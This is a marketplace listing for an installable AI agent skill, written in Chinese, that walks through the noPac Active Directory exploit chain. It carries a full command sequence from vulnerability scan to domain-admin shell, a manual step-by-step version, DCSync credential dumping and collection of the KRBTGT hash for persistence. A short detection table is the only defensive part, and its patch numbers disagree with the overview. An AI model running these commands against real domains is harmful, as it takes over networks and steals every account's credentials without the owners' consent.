# Exploiting Nopac Cve 2021 42278 42287

> 利用 noPac 漏洞链（CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆），在活动目录环境中从普通域用户提升至域管理员权限。

- Skill: `killvxk/exploiting-nopac-cve-2021-42278-42287` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-nopac-cve-2021-42278-42287`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-nopac-cve-2021-42278-42287/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-nopac-cve-2021-42278-42287

---

# 利用 noPac（CVE-2021-42278 / CVE-2021-42287）

## 概述

noPac 是一个严重的漏洞利用链，结合了两个活动目录漏洞：CVE-2021-42278（sAMAccountName 欺骗）和 CVE-2021-42287（KDC PAC 混淆）。两者合并可以让任何经过认证的域用户提升至域管理员权限，可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称（去掉末尾的 $）。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷，当 KDC 找不到重命名的账户时，会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞（KB5008380 和 KB5008602），但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。

## 目标

- 扫描目标域以检测 noPac 漏洞（CVE-2021-42278/42287）
- 创建或利用具有修改后 sAMAccountName 的机器账户
- 利用 KDC PAC 混淆获取域控制器的 TGT
- 使用 DC 票据执行 DCSync 并转储域凭据
- 从普通域用户账户获得域管理员访问权限
- 记录包含证据的完整利用链

## MITRE ATT&CK 映射

- **T1068** - 利用漏洞进行权限提升
- **T1136.002** - 创建账户：域账户
- **T1078.002** - 有效账户：域账户
- **T1558** - 窃取或伪造 Kerberos 票据
- **T1003.006** - 操作系统凭据转储：DCSync

## 实施步骤

### 阶段一：漏洞扫描
1. 使用 noPac 扫描器检查域是否易受攻击：
   ```bash
   # 使用 cube0x0 的 noPac 扫描器
   python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1

   # 使用 CrackMapExec 模块
   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
   ```
2. 验证 MachineAccountQuota（默认为 10，允许任何用户加入计算机）：
   ```bash
   # 通过 LDAP 检查 MachineAccountQuota
   python3 -c "
   import ldap3
   server = ldap3.Server('10.10.10.1')
   conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
   print(conn.entries[0]['ms-DS-MachineAccountQuota'])
   "
   ```

### 阶段二：使用 noPac 工具利用
1. 运行完整的 noPac 漏洞利用链：
   ```bash
   # 使用 cube0x0 的 noPac（在 DC 上获取 shell）
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap

   # 使用 Ridter 的 noPac（替代实现）
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     --impersonate administrator -dump
   ```
2. 该漏洞利用工具自动：
   - 创建新的机器账户（或使用现有的）
   - 将机器账户的 sAMAccountName 重命名为与 DC 匹配（如 "DC01"）
   - 为欺骗的账户名请求 TGT
   - 恢复原始 sAMAccountName
   - 使用 S4U2self 获取模拟目标用户的服务票据
   - KDC 找不到匹配 "DC01" 的账户，回退到 "DC01$"（真实 DC）

### 阶段三：后渗透
1. 使用获得的域控制器票据执行 DCSync：
   ```bash
   # 使用 Kerberos 票据通过 secretsdump.py 进行 DCSync
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

   # 或直接通过 noPac shell（shell 以 SYSTEM 身份在 DC 上运行）
   ```
2. 或者，获取半交互式 shell：
   ```bash
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   ```

### 阶段四：手动利用步骤
1. 创建机器账户：
   ```bash
   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
2. 清除 SPN 并重命名 sAMAccountName：
   ```bash
   # 将机器账户的 sAMAccountName 重命名为 DC 名称（不含 $）
   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
3. 为欺骗的名称请求 TGT：
   ```bash
   getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
   ```
4. 恢复原始机器名称：
   ```bash
   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
5. 使用 S4U2self 进行模拟：
   ```bash
   export KRB5CCNAME=DC01.ccache
   getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
     -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
   ```

## 工具与资源

| 工具 | 用途 | 平台 |
|------|---------|----------|
| noPac（cube0x0） | 自动化扫描器和利用工具 | Python |
| noPac（Ridter） | 替代漏洞利用实现 | Python |
| Impacket | Kerberos 票据操控、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows（.NET） |
| secretsdump.py | 后渗透凭据转储 | Python |

## CVE 详情

| CVE | 描述 | CVSS | 补丁 |
|-----|-------------|------|-------|
| CVE-2021-42278 | sAMAccountName 欺骗（机器账户） | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆/权限提升 | 7.5 | KB5008380 |

## 检测特征

| 指标 | 检测方法 |
|-----------|-----------------|
| 机器账户 sAMAccountName 更改 | 带 sAMAccountName 修改的事件 4742（计算机账户已更改） |
| 新机器账户创建 | 事件 4741（计算机对象已创建） |
| 不带末尾 $ 的账户的 TGT 请求 | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 带异常服务票据请求的事件 4769 |
| 快速序列：创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |

## 验证标准

- [ ] 已扫描域以检测 noPac 漏洞
- [ ] 已验证 MachineAccountQuota（默认 10）
- [ ] 漏洞利用已成功执行（获取 shell 或 DCSync）
- [ ] 已从普通用户获得域管理员权限
- [ ] 已执行 DCSync 以转储域凭据
- [ ] 已获取 KRBTGT 哈希用于持久化验证
- [ ] 已记录包含时间戳的攻击链
- [ ] 已验证补丁状态（KB5008380、KB5008602）

